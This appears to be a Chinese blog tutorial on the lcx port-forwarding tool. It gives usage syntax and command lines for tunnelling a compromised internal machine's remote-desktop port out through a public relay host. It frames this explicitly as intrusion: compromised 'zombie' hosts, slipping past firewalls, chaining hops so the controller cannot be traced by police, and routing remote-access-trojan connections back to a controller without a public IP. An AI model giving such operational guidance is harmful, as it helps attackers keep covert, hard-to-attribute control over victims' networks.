lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。它是一款命令行工具,当然也可以在有权限的webshell下执行,正因如此lcx常被认为是一款黑客入侵工具,lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路(如图1)。它常用于外网连接内网3389端口。
这个工具很早就已经有了,它的全名叫Socket data transport tool,简写做trtool,由红盟联盟的前辈bkbll所写,功能和lion写的htran 1.1版一样,不过是在linux下使用的而已。所谓的lcx.exe其实是lcx根据lion的代码所修改编译过的htran。现在已经有跨平台的了,支持在windows、linux下使用。还有一些根据lcx源码开发的其他版本,比如jsp版,http隧道版等等。
下面说一下它的使用以及功能说明:
Usage of Packet Transmit:
./lcx -<listen|tran|slave> <option> [<-log|-hex|-text> file]
./lcx -about
[options:]
-listen <local port1> <local port2>
-tran <local port> <remote host> <remote port>
-slave <remote host1> <remote port1> <remote host2> <remote port2>
-hex : hex mode data dump
-text : text mode data dump
-log : save transfer log
最常用功能:连接内网的3389
1. B主机(公网IP:20.30.40.50): lcx -listen 2222 6666
2222为转发端口,6666为B主机任意未被占用的端口
2. A肉鸡服务器:lcx.exe -slave 20.30.40.50 2222 127.0.0.1 3389
20.30.40.50为B主机的IP,2222为转发端口,127.0.0.1为A肉鸡内网IP,3389为远程终端端口
3. B主机连接A肉鸡3389时格式:mstsc 127.0.0.1:6666
当然,其他主机(C主机,可以在内网中)连接A肉鸡服务器:mstsc 20.30.40.50:6666
至此,就可以通过lcx端口映射就可以直接连接内网服务器了。整个连接流程图大致如下:
上面的情况中多数是通过跳板主机B来连接肉鸡服务器的,也就是主机C通过连接处于公网中的服务器B来连接内网服务器A。上面的连接中,先是肉鸡服务器主动发起向外(主机B)的连接,所以这种情况,防火墙一般是不会拦截的。而且由于跳板机(主机B)只是监听本地端口,而控制者(主机C)可以在任意网络环境中,所以很难追踪到控制者的具体位置。如果再加上几个跳板就很难被查水表啦:)
逆向思维:端口转发实现远程控制
基于lcx强大的端口转发功能,可以通过端口转发实现将远程控制的服务端放置的任意网络环境中。
1. 配置客户端上线地址:21.23.10.8 端口:8083
2. 公网主机运行lcx:lcx -listen 123 8083
3. 控制端运行:lcx.exe -slave 21.23.10.8 123 127.0.0.1 789 通知设置远控控制端的监听端口:789
可以看到,这用使用方式和上面的完全相反。控制端使用lcx主动连接公网中的转发主机,由于肉鸡上的客户端默认是配置主动连接的,所以只要转发通道是通畅的,客户端发起的连接都会由转发主机转发到控制端的机子上,而无论控制端是否有公网IP。所以说,关键的瓶颈就可以这用解决。又由于lcx已经支持跨平台,所以即使公网主机是Linux系统也可以实现只能在windows上跑的绝大多数远控软件。
关于lcx的使用就简单介绍到这里,之后将会对lcx源码做一个简单的分析,博客将持续更新。。。